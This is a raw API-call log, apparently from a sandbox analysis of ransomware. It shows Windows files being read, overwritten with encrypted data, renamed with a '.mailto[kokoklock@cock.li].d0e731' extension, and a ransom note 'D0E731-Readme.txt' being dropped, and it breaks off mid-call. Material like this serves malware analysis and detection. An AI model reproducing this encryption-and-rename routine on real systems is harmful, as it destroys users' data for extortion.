RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6f8 [0081.721] NtQuerySystemTime (in: CurrentTime=0x263bfd1c | out: CurrentTime=0x263bfd1c*=132121176396163111) returned 0x0 [0081.721] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x85a56dc0 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xcc985daf [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xa5027bad [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x46fdfda8 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xd3a51fcb [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xa5fbd1fe [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x9f694ba2 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x5ccd5e7a [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x82ecee6b [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x49abf78 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x6e7cf448 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x4d056d6d [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xb5408b8 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x2ad5654d [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xd7008657 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x75a2f7fd [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xe36e5695 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x7ebcfece [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xbd967c1a [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x8af6e88a [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x738a9ac2 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x5c887946 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x69c3374f [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x51e2e1c1 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x7c75cf6c [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xafc83711 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0xf19bf26 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x79761c5 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x3e57bc4d [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x13949354 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x23008ff2 [0081.722] RtlRandom (in: Seed=0x263bfd28 | out: Seed=0x263bfd28) returned 0x1052aea1 [0081.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0081.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.733] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x263bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x263bfd1c*=0x10f, lpOverlapped=0x0) returned 1 [0081.733] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x263bfce4 | out: lpNewFilePointer=0x0) returned 1 [0081.733] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x263bfd18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x263bfd18*=0x10f, lpOverlapped=0x0) returned 1 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0081.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.733] WriteFile (in: hFile=0x350, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x263bfd14, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x263bfd14*=0x20, lpOverlapped=0x0) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.734] WriteFile (in: hFile=0x350, lpBuffer=0x342e770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x342e770*, lpNumberOfBytesWritten=0x263bfd40*=0x8, lpOverlapped=0x0) returned 1 [0081.734] WriteFile (in: hFile=0x350, lpBuffer=0x263bfd58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x263bfd58*, lpNumberOfBytesWritten=0x263bfd40*=0x4, lpOverlapped=0x0) returned 1 [0081.734] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x263bfd40*=0x4, lpOverlapped=0x0) returned 1 [0081.734] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x263bfd40*=0x6c, lpOverlapped=0x0) returned 1 [0081.734] WriteFile (in: hFile=0x350, lpBuffer=0x342e720*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x342e720*, lpNumberOfBytesWritten=0x263bfd40*=0x20, lpOverlapped=0x0) returned 1 [0081.734] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x263bfd40*=0x4, lpOverlapped=0x0) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.734] CloseHandle (hObject=0x350) returned 1 [0081.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0081.735] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" [0081.735] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0081.735] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.735] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0081.736] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0081.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6918 [0081.736] wcscpy (in: _Dest=0x33f6918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0081.736] wcscat (in: _Dest=0x33f6918, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt" [0081.736] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\d0e731-readme.txt")) returned 0x20 [0081.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6918) returned 1 [0081.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34771b0) returned 1 [0081.736] RtlExitUserThread (Status=0x1) Thread: id = 1070 os_tid = 0x17bc [0081.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428a90 [0081.737] wcscpy (in: _Dest=0x3428a90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0081.737] wcscat (in: _Dest=0x3428a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0081.737] wcscat (in: _Dest=0x3428a90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*" [0081.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34adaf8 [0081.737] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*", lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfcd8 [0081.738] wcscmp (_String1=".", _String2=".") returned 0 [0081.738] FindNextFileW (in: hFindFile=0x33dfcd8, lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.738] wcscmp (_String1="..", _String2=".") returned 1 [0081.738] wcscmp (_String1="..", _String2="..") returned 0 [0081.738] FindNextFileW (in: hFindFile=0x33dfcd8, lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0081.738] wcscmp (_String1="RunTime", _String2=".") returned 1 [0081.738] wcscmp (_String1="RunTime", _String2="..") returned 1 [0081.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431d80 [0081.738] wcscpy (in: _Dest=0x3431d80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0081.738] wcscat (in: _Dest=0x3431d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0081.738] wcscat (in: _Dest=0x3431d80, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" [0082.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0082.963] FindNextFileW (in: hFindFile=0x33dfcd8, lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.964] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.964] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6918 [0082.964] wcscpy (in: _Dest=0x33f6918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0082.964] wcscat (in: _Dest=0x33f6918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0082.964] wcscat (in: _Dest=0x33f6918, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" [0082.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0082.964] FindNextFileW (in: hFindFile=0x33dfcd8, lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.964] FindClose (in: hFindFile=0x33dfcd8 | out: hFindFile=0x33dfcd8) returned 1 [0082.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34adaf8) returned 1 [0082.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428a90) returned 1 [0082.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427c30) returned 1 [0082.965] RtlExitUserThread (Status=0x0) Thread: id = 1071 os_tid = 0x17c0 [0081.739] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml")) returned 0x20 [0081.739] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0081.739] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0081.739] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x264bf9a0 | out: lpFileSize=0x264bf9a0*=896) returned 1 [0081.739] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x37c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.739] ReadFile (in: hFile=0x354, lpBuffer=0x264bf974, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x264bf974*, lpNumberOfBytesRead=0x264bf970*=0x4, lpOverlapped=0x0) returned 1 [0081.741] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e748 [0081.741] NtQuerySystemTime (in: CurrentTime=0x264bf94c | out: CurrentTime=0x264bf94c*=132121176396310019) returned 0x0 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x6ca4079c [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x82a7c515 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x6833f9c [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xd6fb23e2 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x1016a76b [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xc23c7513 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xe3449bbc [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xa7c01c11 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xc1159cd2 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x898150ac [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x4e049650 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xd9140a0e [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x83456138 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x82bfb2a3 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x4b44a8ce [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xa4065438 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xd3ca99f7 [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xc50098bd [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xab36e77c [0081.741] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xdccf95c5 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x4f5f02c7 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xc7fdc8e5 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x24793d53 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x9466b9bb [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xab846c60 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x75b64e9d [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x6297e5ba [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x568f5dcf [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0xa53439e9 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x72913109 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x68d310b8 [0081.742] RtlRandom (in: Seed=0x264bf958 | out: Seed=0x264bf958) returned 0x7d5992b5 [0081.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.753] ReadFile (in: hFile=0x354, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x264bf94c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x264bf94c*=0x380, lpOverlapped=0x0) returned 1 [0081.753] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x264bf914 | out: lpNewFilePointer=0x0) returned 1 [0081.753] WriteFile (in: hFile=0x354, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x264bf948, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x264bf948*=0x380, lpOverlapped=0x0) returned 1 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.753] WriteFile (in: hFile=0x354, lpBuffer=0x342e6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x264bf944, lpOverlapped=0x0 | out: lpBuffer=0x342e6d0*, lpNumberOfBytesWritten=0x264bf944*=0x20, lpOverlapped=0x0) returned 1 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.753] WriteFile (in: hFile=0x354, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x264bf970*=0x8, lpOverlapped=0x0) returned 1 [0081.754] WriteFile (in: 